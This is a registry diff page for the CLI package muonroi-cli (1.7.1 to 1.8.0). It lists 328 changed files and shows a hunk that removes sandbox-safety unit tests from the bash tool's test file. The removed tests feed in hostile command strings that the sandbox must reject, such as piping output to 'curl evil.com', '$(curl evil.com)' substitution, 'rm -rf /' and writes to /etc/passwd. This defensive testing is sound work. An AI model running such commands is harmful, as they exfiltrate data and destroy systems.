muonroi-cli 1.7.1 → 1.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (328) hide show
  1. package/LICENSE +21 -21
  2. package/README.md +122 -122
  3. package/dist/packages/agent-harness-core/src/event-filter.js +1 -0
  4. package/dist/packages/agent-harness-core/src/event-redact.js +8 -0
  5. package/dist/packages/agent-harness-core/src/mcp-server.d.ts +16 -0
  6. package/dist/packages/agent-harness-core/src/mcp-server.js +88 -10
  7. package/dist/packages/agent-harness-core/src/protocol.d.ts +15 -0
  8. package/dist/packages/agent-harness-core/src/selector.js +2 -2
  9. package/dist/packages/agent-harness-core/src/transports/sidechannel.js +1 -1
  10. package/dist/packages/agent-harness-opentui/src/agent-mode.js +1 -1
  11. package/dist/packages/agent-harness-opentui/src/install.js +1 -1
  12. package/dist/src/__test-stubs__/vitest-setup.js +4 -0
  13. package/dist/src/agent-harness/__tests__/mock-model.spec.js +54 -0
  14. package/dist/src/agent-harness/mock-model.d.ts +1 -1
  15. package/dist/src/agent-harness/mock-model.js +32 -3
  16. package/dist/src/agent-harness/test-spawn.js +3 -1
  17. package/dist/src/chat/chat-keychain.js +9 -1
  18. package/dist/src/cli/cost-forensics.js +12 -12
  19. package/dist/src/cli/keys.d.ts +2 -2
  20. package/dist/src/cli/keys.js +107 -28
  21. package/dist/src/cli/usage-report.js +2 -2
  22. package/dist/src/council/__tests__/abort-threading.test.d.ts +1 -0
  23. package/dist/src/council/__tests__/abort-threading.test.js +193 -0
  24. package/dist/src/council/__tests__/clarification-prompt.test.js +21 -1
  25. package/dist/src/council/__tests__/council-turn-length-emit.test.d.ts +1 -0
  26. package/dist/src/council/__tests__/council-turn-length-emit.test.js +130 -0
  27. package/dist/src/council/__tests__/debate-round-budget.test.d.ts +1 -0
  28. package/dist/src/council/__tests__/debate-round-budget.test.js +45 -0
  29. package/dist/src/council/__tests__/evaluator-metrics.test.js +3 -0
  30. package/dist/src/council/__tests__/post-debate-recommendation.test.d.ts +1 -0
  31. package/dist/src/council/__tests__/post-debate-recommendation.test.js +58 -0
  32. package/dist/src/council/__tests__/research-tools.test.js +4 -0
  33. package/dist/src/council/__tests__/round-tools.test.js +6 -0
  34. package/dist/src/council/clarifier-question-cap.test.d.ts +12 -0
  35. package/dist/src/council/clarifier-question-cap.test.js +73 -0
  36. package/dist/src/council/clarifier.d.ts +29 -1
  37. package/dist/src/council/clarifier.js +64 -1
  38. package/dist/src/council/debate-planner.d.ts +2 -1
  39. package/dist/src/council/debate-planner.js +5 -3
  40. package/dist/src/council/debate.d.ts +9 -0
  41. package/dist/src/council/debate.js +88 -8
  42. package/dist/src/council/index.d.ts +46 -1
  43. package/dist/src/council/index.js +125 -19
  44. package/dist/src/council/llm.js +41 -13
  45. package/dist/src/council/prompts.js +56 -21
  46. package/dist/src/council/types.d.ts +14 -1
  47. package/dist/src/ee/__tests__/export-transcripts.test.js +1 -1
  48. package/dist/src/ee/bridge.d.ts +3 -1
  49. package/dist/src/ee/bridge.js +9 -3
  50. package/dist/src/ee/bridge.test.js +1 -2
  51. package/dist/src/ee/client.js +15 -2
  52. package/dist/src/ee/recall-ledger.d.ts +20 -0
  53. package/dist/src/ee/recall-ledger.js +40 -1
  54. package/dist/src/ee/search.d.ts +25 -0
  55. package/dist/src/ee/search.js +73 -0
  56. package/dist/src/ee/types.d.ts +15 -1
  57. package/dist/src/ee/who-am-i.d.ts +41 -0
  58. package/dist/src/ee/who-am-i.js +143 -0
  59. package/dist/src/ee/who-am-i.test.d.ts +1 -0
  60. package/dist/src/ee/who-am-i.test.js +101 -0
  61. package/dist/src/generated/version.d.ts +1 -1
  62. package/dist/src/generated/version.js +1 -1
  63. package/dist/src/headless/council-answers.js +1 -0
  64. package/dist/src/headless/output.d.ts +30 -1
  65. package/dist/src/headless/output.js +180 -0
  66. package/dist/src/headless/output.test.js +61 -1
  67. package/dist/src/hooks/index.js +48 -2
  68. package/dist/src/index.d.ts +2 -0
  69. package/dist/src/index.js +143 -104
  70. package/dist/src/lsp/client-normalize.test.d.ts +12 -0
  71. package/dist/src/lsp/client-normalize.test.js +34 -0
  72. package/dist/src/lsp/client.d.ts +1 -0
  73. package/dist/src/lsp/client.js +10 -2
  74. package/dist/src/lsp/manager.d.ts +1 -1
  75. package/dist/src/lsp/manager.js +2 -2
  76. package/dist/src/lsp/manager.test.js +2 -2
  77. package/dist/src/lsp/runtime.d.ts +1 -1
  78. package/dist/src/lsp/runtime.js +2 -2
  79. package/dist/src/maintain/__tests__/gh-create-pr.test.js +7 -3
  80. package/dist/src/maintain/__tests__/pr-builder.test.js +7 -3
  81. package/dist/src/mcp/__tests__/client-pool.spec.js +3 -3
  82. package/dist/src/mcp/__tests__/ee-tools.test.js +42 -14
  83. package/dist/src/mcp/__tests__/forensics-tools.test.js +3 -3
  84. package/dist/src/mcp/__tests__/lsp-tools.test.js +4 -4
  85. package/dist/src/mcp/client-pool.d.ts +1 -1
  86. package/dist/src/mcp/client-pool.js +25 -9
  87. package/dist/src/mcp/ee-tools.d.ts +10 -0
  88. package/dist/src/mcp/ee-tools.js +34 -0
  89. package/dist/src/mcp/oauth-callback.js +2 -2
  90. package/dist/src/mcp/parse-headers.test.js +14 -14
  91. package/dist/src/mcp/self-verify-jobs.js +1 -3
  92. package/dist/src/mcp/setup-guide-text.js +74 -74
  93. package/dist/src/mcp/smoke.test.js +43 -43
  94. package/dist/src/models/catalog-gemini.test.js +12 -10
  95. package/dist/src/models/catalog.json +106 -38
  96. package/dist/src/ops/doctor.js +7 -7
  97. package/dist/src/orchestrator/__tests__/auto-commit.test.d.ts +1 -0
  98. package/dist/src/orchestrator/__tests__/auto-commit.test.js +142 -0
  99. package/dist/src/orchestrator/__tests__/batch-turn-runner.test.js +2 -0
  100. package/dist/src/orchestrator/__tests__/delegations.test.d.ts +1 -0
  101. package/dist/src/orchestrator/__tests__/delegations.test.js +96 -0
  102. package/dist/src/orchestrator/__tests__/message-processor.test.js +1 -0
  103. package/dist/src/orchestrator/__tests__/stream-runner.test.js +29 -0
  104. package/dist/src/orchestrator/agent.test.js +5 -2
  105. package/dist/src/orchestrator/auto-commit.d.ts +110 -0
  106. package/dist/src/orchestrator/auto-commit.js +364 -0
  107. package/dist/src/orchestrator/batch-turn-runner.d.ts +3 -2
  108. package/dist/src/orchestrator/batch-turn-runner.js +2 -1
  109. package/dist/src/orchestrator/compaction-proposer-prompt.d.ts +8 -0
  110. package/dist/src/orchestrator/compaction-proposer-prompt.js +43 -0
  111. package/dist/src/orchestrator/compaction.d.ts +22 -0
  112. package/dist/src/orchestrator/compaction.js +42 -0
  113. package/dist/src/orchestrator/delegations.d.ts +1 -0
  114. package/dist/src/orchestrator/delegations.js +41 -0
  115. package/dist/src/orchestrator/error-utils.js +27 -2
  116. package/dist/src/orchestrator/message-processor.d.ts +21 -5
  117. package/dist/src/orchestrator/message-processor.js +219 -2573
  118. package/dist/src/orchestrator/orchestrator.d.ts +8 -2
  119. package/dist/src/orchestrator/orchestrator.js +187 -34
  120. package/dist/src/orchestrator/preprocessor.d.ts +13 -0
  121. package/dist/src/orchestrator/preprocessor.js +145 -0
  122. package/dist/src/orchestrator/prompts.d.ts +8 -0
  123. package/dist/src/orchestrator/prompts.js +76 -60
  124. package/dist/src/orchestrator/safety-askcard.d.ts +66 -0
  125. package/dist/src/orchestrator/safety-askcard.js +74 -0
  126. package/dist/src/orchestrator/sandbox.test.js +8 -5
  127. package/dist/src/orchestrator/scope-ceiling.js +1 -1
  128. package/dist/src/orchestrator/stall-watchdog.d.ts +47 -0
  129. package/dist/src/orchestrator/stall-watchdog.js +23 -0
  130. package/dist/src/orchestrator/stall-watchdog.test.js +36 -1
  131. package/dist/src/orchestrator/stream-runner.js +52 -30
  132. package/dist/src/orchestrator/sub-agent-model-tier.js +1 -1
  133. package/dist/src/orchestrator/subagent-compactor.d.ts +14 -0
  134. package/dist/src/orchestrator/subagent-compactor.js +83 -10
  135. package/dist/src/orchestrator/subagent-compactor.spec.js +132 -0
  136. package/dist/src/orchestrator/text-tool-call-detector.d.ts +9 -5
  137. package/dist/src/orchestrator/text-tool-call-detector.js +16 -12
  138. package/dist/src/orchestrator/text-tool-call-detector.test.js +66 -8
  139. package/dist/src/orchestrator/tool-args-repair.js +1 -1
  140. package/dist/src/orchestrator/tool-engine.d.ts +151 -0
  141. package/dist/src/orchestrator/tool-engine.js +3079 -0
  142. package/dist/src/orchestrator/turn-runner-deps.d.ts +1 -0
  143. package/dist/src/pil/__tests__/discovery-types.test.js +15 -4
  144. package/dist/src/pil/__tests__/discovery.test.js +89 -145
  145. package/dist/src/pil/__tests__/dual-run.test.js +2 -0
  146. package/dist/src/pil/__tests__/layer1-intent-trace.test.js +3 -0
  147. package/dist/src/pil/__tests__/layer1-intent.test.js +3 -0
  148. package/dist/src/pil/__tests__/layer16-clarity.test.js +35 -32
  149. package/dist/src/pil/__tests__/layer18-acceptance.test.js +1 -78
  150. package/dist/src/pil/__tests__/layer2_5-ponytail.test.d.ts +1 -0
  151. package/dist/src/pil/__tests__/layer2_5-ponytail.test.js +53 -0
  152. package/dist/src/pil/__tests__/layer3-ee-injection.test.js +67 -4
  153. package/dist/src/pil/__tests__/layer3-injected-chunk.test.js +14 -2
  154. package/dist/src/pil/__tests__/layer4-gsd.test.js +30 -0
  155. package/dist/src/pil/__tests__/layer5-context.test.js +39 -1
  156. package/dist/src/pil/__tests__/layer6-output.test.js +30 -2
  157. package/dist/src/pil/__tests__/orchestrator-integration.test.js +3 -1
  158. package/dist/src/pil/__tests__/pipeline.test.js +11 -8
  159. package/dist/src/pil/__tests__/response-tools.test.js +52 -0
  160. package/dist/src/pil/agent-operating-contract.d.ts +1 -1
  161. package/dist/src/pil/agent-operating-contract.js +5 -3
  162. package/dist/src/pil/agent-operating-contract.test.js +2 -2
  163. package/dist/src/pil/cheap-model-playbook.d.ts +1 -1
  164. package/dist/src/pil/cheap-model-playbook.js +1 -1
  165. package/dist/src/pil/cheap-model-workbooks.d.ts +1 -1
  166. package/dist/src/pil/cheap-model-workbooks.js +1 -1
  167. package/dist/src/pil/config.d.ts +20 -0
  168. package/dist/src/pil/config.js +35 -0
  169. package/dist/src/pil/discovery-types.d.ts +32 -9
  170. package/dist/src/pil/discovery.d.ts +3 -3
  171. package/dist/src/pil/discovery.js +138 -244
  172. package/dist/src/pil/index.d.ts +1 -1
  173. package/dist/src/pil/index.js +1 -1
  174. package/dist/src/pil/layer1-intent.d.ts +9 -1
  175. package/dist/src/pil/layer1-intent.js +99 -44
  176. package/dist/src/pil/layer1-intent.test.js +112 -2
  177. package/dist/src/pil/layer15-context-scan.js +1 -1
  178. package/dist/src/pil/layer16-clarity.d.ts +21 -25
  179. package/dist/src/pil/layer16-clarity.js +52 -88
  180. package/dist/src/pil/layer18-acceptance.d.ts +13 -3
  181. package/dist/src/pil/layer18-acceptance.js +1 -75
  182. package/dist/src/pil/layer2-personality.js +7 -8
  183. package/dist/src/pil/layer2_5-ponytail.d.ts +2 -0
  184. package/dist/src/pil/layer2_5-ponytail.js +41 -0
  185. package/dist/src/pil/layer3-ee-injection.js +180 -14
  186. package/dist/src/pil/layer4-gsd.js +22 -8
  187. package/dist/src/pil/layer5-context.d.ts +1 -0
  188. package/dist/src/pil/layer5-context.js +26 -11
  189. package/dist/src/pil/layer6-output.js +23 -5
  190. package/dist/src/pil/llm-classify.js +3 -3
  191. package/dist/src/pil/native-capabilities-workbook.d.ts +1 -1
  192. package/dist/src/pil/native-capabilities-workbook.js +4 -3
  193. package/dist/src/pil/pipeline.js +15 -1
  194. package/dist/src/pil/response-tools.d.ts +16 -0
  195. package/dist/src/pil/response-tools.js +41 -0
  196. package/dist/src/pil/schema.d.ts +8 -0
  197. package/dist/src/pil/schema.js +24 -3
  198. package/dist/src/pil/task-tier-map.js +7 -7
  199. package/dist/src/pil/types.d.ts +9 -3
  200. package/dist/src/product-loop/__tests__/discovery-interview.test.js +103 -1
  201. package/dist/src/product-loop/__tests__/gather-selectable-alts.test.js +34 -0
  202. package/dist/src/product-loop/__tests__/sprint-self-verify.test.js +12 -12
  203. package/dist/src/product-loop/discovery-interview.d.ts +20 -0
  204. package/dist/src/product-loop/discovery-interview.js +121 -7
  205. package/dist/src/product-loop/done-gate.js +3 -3
  206. package/dist/src/product-loop/gather.js +19 -5
  207. package/dist/src/product-loop/loop-driver.js +20 -20
  208. package/dist/src/product-loop/progress-snapshot.js +4 -4
  209. package/dist/src/product-loop/sprint-self-verify.js +2 -2
  210. package/dist/src/providers/__tests__/reasoning-roundtrip.test.js +12 -0
  211. package/dist/src/providers/auth/__tests__/gemini-oauth.test.d.ts +1 -5
  212. package/dist/src/providers/auth/__tests__/gemini-oauth.test.js +1 -5
  213. package/dist/src/providers/auth/gcloud.d.ts +28 -0
  214. package/dist/src/providers/auth/gcloud.js +102 -0
  215. package/dist/src/providers/auth/gemini-oauth.d.ts +46 -19
  216. package/dist/src/providers/auth/gemini-oauth.js +292 -105
  217. package/dist/src/providers/auth/grok-oauth.d.ts +1 -1
  218. package/dist/src/providers/auth/grok-oauth.js +1 -1
  219. package/dist/src/providers/auth/registry.js +28 -6
  220. package/dist/src/providers/gemini.d.ts +1 -1
  221. package/dist/src/providers/gemini.js +10 -3
  222. package/dist/src/providers/keychain.d.ts +2 -2
  223. package/dist/src/providers/keychain.js +20 -2
  224. package/dist/src/providers/mcp-vision-bridge.js +48 -48
  225. package/dist/src/providers/openai.js +5 -1
  226. package/dist/src/providers/runtime.d.ts +1 -1
  227. package/dist/src/providers/runtime.js +11 -2
  228. package/dist/src/providers/siliconflow-sse-repair.js +1 -1
  229. package/dist/src/providers/strategies/google.strategy.d.ts +9 -2
  230. package/dist/src/providers/strategies/google.strategy.js +159 -9
  231. package/dist/src/providers/strategies/thinking-mode.js +19 -6
  232. package/dist/src/providers/types.d.ts +1 -1
  233. package/dist/src/reporter/index.js +1 -1
  234. package/dist/src/router/decide.test.js +40 -8
  235. package/dist/src/router/step-router.d.ts +20 -0
  236. package/dist/src/router/step-router.js +73 -0
  237. package/dist/src/scaffold/bb-ecosystem-apply.js +47 -47
  238. package/dist/src/scaffold/bb-quality-gate.js +5 -5
  239. package/dist/src/scaffold/continuation-prompt.js +60 -60
  240. package/dist/src/scaffold/init-new.js +453 -453
  241. package/dist/src/self-qa/__tests__/scenario-planner.test.js +3 -3
  242. package/dist/src/self-qa/agentic-loop.js +19 -19
  243. package/dist/src/self-qa/orchestrator.js +5 -5
  244. package/dist/src/self-qa/scenario-planner.js +1 -1
  245. package/dist/src/self-qa/spec-emitter.js +4 -4
  246. package/dist/src/storage/__tests__/migrations.test.js +2 -2
  247. package/dist/src/storage/index.d.ts +1 -1
  248. package/dist/src/storage/index.js +1 -1
  249. package/dist/src/storage/interaction-log.js +5 -5
  250. package/dist/src/storage/migrations.js +122 -122
  251. package/dist/src/storage/session-experience-store.js +4 -4
  252. package/dist/src/storage/sessions.d.ts +6 -0
  253. package/dist/src/storage/sessions.js +49 -42
  254. package/dist/src/storage/transcript-view.js +7 -1
  255. package/dist/src/storage/transcript.d.ts +1 -0
  256. package/dist/src/storage/transcript.js +55 -0
  257. package/dist/src/storage/ui-interaction-log.d.ts +17 -0
  258. package/dist/src/storage/usage.js +14 -14
  259. package/dist/src/storage/workspaces.js +12 -12
  260. package/dist/src/tools/__tests__/native-tools.test.js +6 -0
  261. package/dist/src/tools/bash.d.ts +36 -23
  262. package/dist/src/tools/bash.js +59 -301
  263. package/dist/src/tools/bash.test.js +2 -257
  264. package/dist/src/tools/file-tracker.d.ts +5 -0
  265. package/dist/src/tools/file-tracker.js +14 -0
  266. package/dist/src/tools/file.js +2 -0
  267. package/dist/src/tools/git-safety.d.ts +38 -1
  268. package/dist/src/tools/git-safety.js +94 -4
  269. package/dist/src/tools/git-safety.test.js +45 -1
  270. package/dist/src/tools/native-tools.d.ts +1 -1
  271. package/dist/src/tools/native-tools.js +56 -0
  272. package/dist/src/tools/registry-bash-empty-command.test.js +4 -3
  273. package/dist/src/tools/registry-git-safety.test.js +17 -6
  274. package/dist/src/tools/registry.d.ts +5 -0
  275. package/dist/src/tools/registry.js +185 -11
  276. package/dist/src/types/index.d.ts +7 -1
  277. package/dist/src/ui/app.d.ts +2 -1
  278. package/dist/src/ui/app.js +0 -0
  279. package/dist/src/ui/components/council-question-card.js +1 -0
  280. package/dist/src/ui/components/message-view.js +37 -3
  281. package/dist/src/ui/components/structured-response-view.js +7 -0
  282. package/dist/src/ui/components/task-list-panel.js +3 -12
  283. package/dist/src/ui/containers/chat-feed.d.ts +40 -0
  284. package/dist/src/ui/containers/chat-feed.js +66 -0
  285. package/dist/src/ui/containers/modals-layer.d.ts +87 -0
  286. package/dist/src/ui/containers/modals-layer.js +18 -0
  287. package/dist/src/ui/modals/session-picker-modal.js +14 -9
  288. package/dist/src/ui/modals/update-modal.js +2 -1
  289. package/dist/src/ui/slash/__tests__/menu-parity.test.d.ts +1 -0
  290. package/dist/src/ui/slash/__tests__/menu-parity.test.js +1 -0
  291. package/dist/src/ui/slash/__tests__/ponytail.test.d.ts +1 -0
  292. package/dist/src/ui/slash/__tests__/ponytail.test.js +37 -0
  293. package/dist/src/ui/slash/council-inspect.js +4 -4
  294. package/dist/src/ui/slash/export.js +16 -1
  295. package/dist/src/ui/slash/menu-items.js +1 -0
  296. package/dist/src/ui/slash/ponytail.d.ts +2 -0
  297. package/dist/src/ui/slash/ponytail.js +19 -0
  298. package/dist/src/ui/status-bar/store.js +0 -1
  299. package/dist/src/ui/status-bar/store.test.js +2 -2
  300. package/dist/src/ui/types.d.ts +7 -0
  301. package/dist/src/ui/use-app-logic.d.ts +26 -0
  302. package/dist/src/ui/use-app-logic.js +0 -0
  303. package/dist/src/ui/utils/relaunch.d.ts +17 -0
  304. package/dist/src/ui/utils/relaunch.js +28 -4
  305. package/dist/src/ui/utils/relaunch.test.js +50 -0
  306. package/dist/src/ui/utils/text.d.ts +11 -0
  307. package/dist/src/ui/utils/text.js +21 -1
  308. package/dist/src/ui/utils/text.test.js +25 -1
  309. package/dist/src/ui/utils/tools.js +3 -1
  310. package/dist/src/usage/cost-log.js +2 -2
  311. package/dist/src/usage/estimator.d.ts +14 -0
  312. package/dist/src/usage/estimator.js +22 -0
  313. package/dist/src/utils/__tests__/compaction-caps.test.d.ts +21 -0
  314. package/dist/src/utils/__tests__/compaction-caps.test.js +187 -0
  315. package/dist/src/utils/__tests__/llm-deadline-abort.test.d.ts +1 -0
  316. package/dist/src/utils/__tests__/llm-deadline-abort.test.js +33 -0
  317. package/dist/src/utils/clipboard-image.js +23 -23
  318. package/dist/src/utils/llm-deadline.d.ts +9 -1
  319. package/dist/src/utils/llm-deadline.js +31 -2
  320. package/dist/src/utils/permission-mode.d.ts +33 -0
  321. package/dist/src/utils/permission-mode.js +164 -3
  322. package/dist/src/utils/permission-mode.test.js +92 -1
  323. package/dist/src/utils/settings.d.ts +27 -31
  324. package/dist/src/utils/settings.js +100 -109
  325. package/dist/src/utils/side-question.js +2 -2
  326. package/dist/src/utils/skills.js +3 -3
  327. package/dist/src/verify/__tests__/coverage-parsers.test.js +30 -30
  328. package/package.json +1 -1
@@ -2,7 +2,7 @@ import fs from "node:fs";
2
2
  import os from "node:os";
3
3
  import path from "node:path";
4
4
  import { afterEach, describe, expect, it } from "vitest";
5
- import { BashTool, getSandboxMutationBlockReason, shouldRunOnHostInSandboxMode, wrapCommandForShuru, wrapHostBrowserCommand, } from "./bash.js";
5
+ import { BashTool } from "./bash.js";
6
6
  const tempDirs = [];
7
7
  function makeTempDir(prefix) {
8
8
  const dir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
@@ -14,235 +14,7 @@ afterEach(() => {
14
14
  fs.rmSync(dir, { recursive: true, force: true, maxRetries: 10, retryDelay: 50 });
15
15
  }
16
16
  });
17
- describe("wrapCommandForShuru", () => {
18
- it("wraps a simple command with mount and workspace cd", () => {
19
- const result = wrapCommandForShuru("/repo", "echo hi");
20
- expect(result).toBe("shuru run --mount '/repo:/workspace' -- sh -lc 'cd /workspace && echo hi'");
21
- });
22
- it("handles paths with spaces", () => {
23
- const result = wrapCommandForShuru("/my repo", "ls");
24
- expect(result).toBe("shuru run --mount '/my repo:/workspace' -- sh -lc 'cd /workspace && ls'");
25
- });
26
- it("escapes single quotes in the command", () => {
27
- const result = wrapCommandForShuru("/repo", "echo 'hello world'");
28
- expect(result).toContain("'\\''hello world'\\''");
29
- });
30
- it("includes --allow-net when allowNet is true", () => {
31
- const result = wrapCommandForShuru("/repo", "curl example.com", { allowNet: true });
32
- expect(result).toContain("--allow-net");
33
- expect(result).toContain("--mount '/repo:/workspace'");
34
- });
35
- it("includes --allow-host flags for each allowed host", () => {
36
- const result = wrapCommandForShuru("/repo", "curl api.openai.com", {
37
- allowNet: true,
38
- allowedHosts: ["api.openai.com", "registry.npmjs.org"],
39
- });
40
- expect(result).toContain("--allow-net");
41
- expect(result).toContain("--allow-host api.openai.com");
42
- expect(result).toContain("--allow-host registry.npmjs.org");
43
- });
44
- it("includes port forwards", () => {
45
- const result = wrapCommandForShuru("/repo", "python -m http.server", { ports: ["8080:8000", "8443:443"] });
46
- expect(result).toContain("-p 8080:8000");
47
- expect(result).toContain("-p 8443:443");
48
- });
49
- it("includes resource limits", () => {
50
- const result = wrapCommandForShuru("/repo", "make -j4", { cpus: 4, memory: 4096, diskSize: 8192 });
51
- expect(result).toContain("--cpus 4");
52
- expect(result).toContain("--memory 4096");
53
- expect(result).toContain("--disk-size 8192");
54
- });
55
- it("includes --from checkpoint flag", () => {
56
- const result = wrapCommandForShuru("/repo", "python script.py", { from: "py-env" });
57
- expect(result).toContain("--from py-env");
58
- });
59
- it("includes --secret flags", () => {
60
- const result = wrapCommandForShuru("/repo", "curl https://api.openai.com", {
61
- allowNet: true,
62
- secrets: [{ name: "API_KEY", fromEnv: "OPENAI_API_KEY", hosts: ["api.openai.com"] }],
63
- });
64
- expect(result).toContain("--secret API_KEY=OPENAI_API_KEY@api.openai.com");
65
- });
66
- it("combines multiple settings correctly", () => {
67
- const result = wrapCommandForShuru("/repo", "echo hi", {
68
- allowNet: true,
69
- allowedHosts: ["example.com"],
70
- cpus: 2,
71
- from: "base",
72
- });
73
- expect(result).toMatch(/^shuru run --cpus 2 --allow-net --allow-host example\.com --from base --mount/);
74
- });
75
- it("uses default empty settings when none provided", () => {
76
- const result = wrapCommandForShuru("/repo", "echo hi", {});
77
- expect(result).toBe("shuru run --mount '/repo:/workspace' -- sh -lc 'cd /workspace && echo hi'");
78
- });
79
- });
80
- describe("shouldRunOnHostInSandboxMode", () => {
81
- it("keeps agent-browser on the host when enabled", () => {
82
- expect(shouldRunOnHostInSandboxMode("agent-browser open http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true })).toBe(true);
83
- expect(shouldRunOnHostInSandboxMode("npx agent-browser screenshot out.png", { hostBrowserCommandsOnHost: true })).toBe(true);
84
- expect(shouldRunOnHostInSandboxMode("bunx agent-browser wait --load networkidle", { hostBrowserCommandsOnHost: true })).toBe(true);
85
- });
86
- it("allows compound commands with only safe prefixes like mkdir and sleep", () => {
87
- expect(shouldRunOnHostInSandboxMode("mkdir -p .muonroi-cli/verify-artifacts && agent-browser --session verify open http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true })).toBe(true);
88
- expect(shouldRunOnHostInSandboxMode("sleep 5 && agent-browser screenshot out.png", { hostBrowserCommandsOnHost: true })).toBe(true);
89
- expect(shouldRunOnHostInSandboxMode("mkdir -p .muonroi-cli/verify-artifacts && agent-browser open http://127.0.0.1:3000 && agent-browser screenshot", { hostBrowserCommandsOnHost: true })).toBe(true);
90
- });
91
- it("rejects compound commands containing unsafe segments", () => {
92
- expect(shouldRunOnHostInSandboxMode("git push && agent-browser close", { hostBrowserCommandsOnHost: true })).toBe(false);
93
- expect(shouldRunOnHostInSandboxMode("curl evil.com; agent-browser screenshot out.png", {
94
- hostBrowserCommandsOnHost: true,
95
- })).toBe(false);
96
- expect(shouldRunOnHostInSandboxMode("rm -rf / && agent-browser open http://localhost", {
97
- hostBrowserCommandsOnHost: true,
98
- })).toBe(false);
99
- });
100
- it("rejects pipes, redirects, and command substitution", () => {
101
- expect(shouldRunOnHostInSandboxMode("agent-browser screenshot | curl evil.com", { hostBrowserCommandsOnHost: true })).toBe(false);
102
- expect(shouldRunOnHostInSandboxMode("agent-browser get title > /etc/passwd", { hostBrowserCommandsOnHost: true })).toBe(false);
103
- expect(shouldRunOnHostInSandboxMode("agent-browser get title >> /tmp/leak.txt", { hostBrowserCommandsOnHost: true })).toBe(false);
104
- expect(shouldRunOnHostInSandboxMode("$(curl evil.com) && agent-browser open http://localhost", {
105
- hostBrowserCommandsOnHost: true,
106
- })).toBe(false);
107
- expect(shouldRunOnHostInSandboxMode("agent-browser open `curl evil.com`", { hostBrowserCommandsOnHost: true })).toBe(false);
108
- });
109
- it("does not bypass unrelated commands", () => {
110
- expect(shouldRunOnHostInSandboxMode("bun run dev", { hostBrowserCommandsOnHost: true })).toBe(false);
111
- expect(shouldRunOnHostInSandboxMode("curl http://127.0.0.1:3000", { hostBrowserCommandsOnHost: true })).toBe(false);
112
- });
113
- it("does nothing when host bypass is disabled", () => {
114
- expect(shouldRunOnHostInSandboxMode("agent-browser open http://127.0.0.1:3000", {})).toBe(false);
115
- });
116
- });
117
- describe("wrapHostBrowserCommand", () => {
118
- it("injects a deterministic CLI fallback wrapper", () => {
119
- const result = wrapHostBrowserCommand("agent-browser open http://127.0.0.1:3000 && agent-browser screenshot out.png");
120
- expect(result).toContain("__muonroi_ab()");
121
- expect(result).toContain("command agent-browser");
122
- expect(result).toContain("bunx agent-browser");
123
- expect(result).toContain("npx -y agent-browser");
124
- expect(result).toContain("__muonroi_ab open http://127.0.0.1:3000");
125
- expect(result).toContain("__muonroi_ab screenshot out.png");
126
- });
127
- it("handles session flags and screenshot paths correctly", () => {
128
- const result = wrapHostBrowserCommand("agent-browser --session verify screenshot .muonroi-cli/verify-artifacts/verify-smoke-home.png");
129
- expect(result).toContain("__muonroi_ab --session verify screenshot .muonroi-cli/verify-artifacts/verify-smoke-home.png");
130
- });
131
- });
132
- describe("getSandboxMutationBlockReason", () => {
133
- it("returns null for read-only git commands", () => {
134
- expect(getSandboxMutationBlockReason("git status")).toBeNull();
135
- expect(getSandboxMutationBlockReason("git diff")).toBeNull();
136
- expect(getSandboxMutationBlockReason("git log --oneline")).toBeNull();
137
- expect(getSandboxMutationBlockReason("git show HEAD")).toBeNull();
138
- expect(getSandboxMutationBlockReason("git rev-parse HEAD")).toBeNull();
139
- expect(getSandboxMutationBlockReason("git grep foo")).toBeNull();
140
- expect(getSandboxMutationBlockReason("git ls-files")).toBeNull();
141
- });
142
- it("blocks mutating git commands", () => {
143
- expect(getSandboxMutationBlockReason("git add .")).toContain("Sandbox mode blocks git commands");
144
- expect(getSandboxMutationBlockReason("git commit -m 'test'")).toContain("Sandbox mode blocks git commands");
145
- expect(getSandboxMutationBlockReason("git push")).toContain("Sandbox mode blocks git commands");
146
- expect(getSandboxMutationBlockReason("git checkout -b new")).toContain("Sandbox mode blocks git commands");
147
- });
148
- it("blocks git inside compound shell expressions", () => {
149
- expect(getSandboxMutationBlockReason('echo foo && git commit -m "test"')).toContain("Sandbox mode blocks git commands");
150
- expect(getSandboxMutationBlockReason('bash -c "git push"')).toContain("Sandbox mode blocks git commands");
151
- });
152
- it("blocks git branch since it can mutate", () => {
153
- expect(getSandboxMutationBlockReason("git branch -D feature")).toContain("Sandbox mode blocks git commands");
154
- expect(getSandboxMutationBlockReason("git branch new-name")).toContain("Sandbox mode blocks git commands");
155
- });
156
- it("blocks package-manager installs", () => {
157
- expect(getSandboxMutationBlockReason("npm install express")).toContain("Package-manager installs");
158
- expect(getSandboxMutationBlockReason("yarn add lodash")).toContain("Package-manager installs");
159
- expect(getSandboxMutationBlockReason("pnpm install")).toContain("Package-manager installs");
160
- expect(getSandboxMutationBlockReason("bun add zod")).toContain("Package-manager installs");
161
- });
162
- it("allows package-manager installs when ephemeral installs are enabled", () => {
163
- expect(getSandboxMutationBlockReason("npm install express", { allowEphemeralInstall: true })).toBeNull();
164
- expect(getSandboxMutationBlockReason("pnpm install", { allowEphemeralInstall: true })).toBeNull();
165
- expect(getSandboxMutationBlockReason("pip install fastapi", { allowEphemeralInstall: true })).toBeNull();
166
- });
167
- it("blocks package-manager installs in compound commands", () => {
168
- expect(getSandboxMutationBlockReason("echo foo && npm install express")).toContain("Package-manager installs");
169
- });
170
- it("blocks formatters that rewrite files", () => {
171
- expect(getSandboxMutationBlockReason("prettier --write src/")).toContain("formatters");
172
- expect(getSandboxMutationBlockReason("biome check --write src/")).toContain("formatters");
173
- });
174
- it("allows safe non-mutating commands", () => {
175
- expect(getSandboxMutationBlockReason("ls -la")).toBeNull();
176
- expect(getSandboxMutationBlockReason("cat README.md")).toBeNull();
177
- expect(getSandboxMutationBlockReason("grep -r foo src/")).toBeNull();
178
- expect(getSandboxMutationBlockReason("uname -a")).toBeNull();
179
- expect(getSandboxMutationBlockReason("npm run test")).toBeNull();
180
- expect(getSandboxMutationBlockReason("node -e 'console.log(1)'")).toBeNull();
181
- });
182
- it("returns null for empty commands", () => {
183
- expect(getSandboxMutationBlockReason("")).toBeNull();
184
- expect(getSandboxMutationBlockReason(" ")).toBeNull();
185
- });
186
- });
187
- describe("BashTool sandbox state", () => {
188
- it("tracks cwd changes independently of sandbox mode", () => {
189
- const root = makeTempDir("muonroi-bash-test-");
190
- const nested = path.join(root, "nested");
191
- fs.mkdirSync(nested);
192
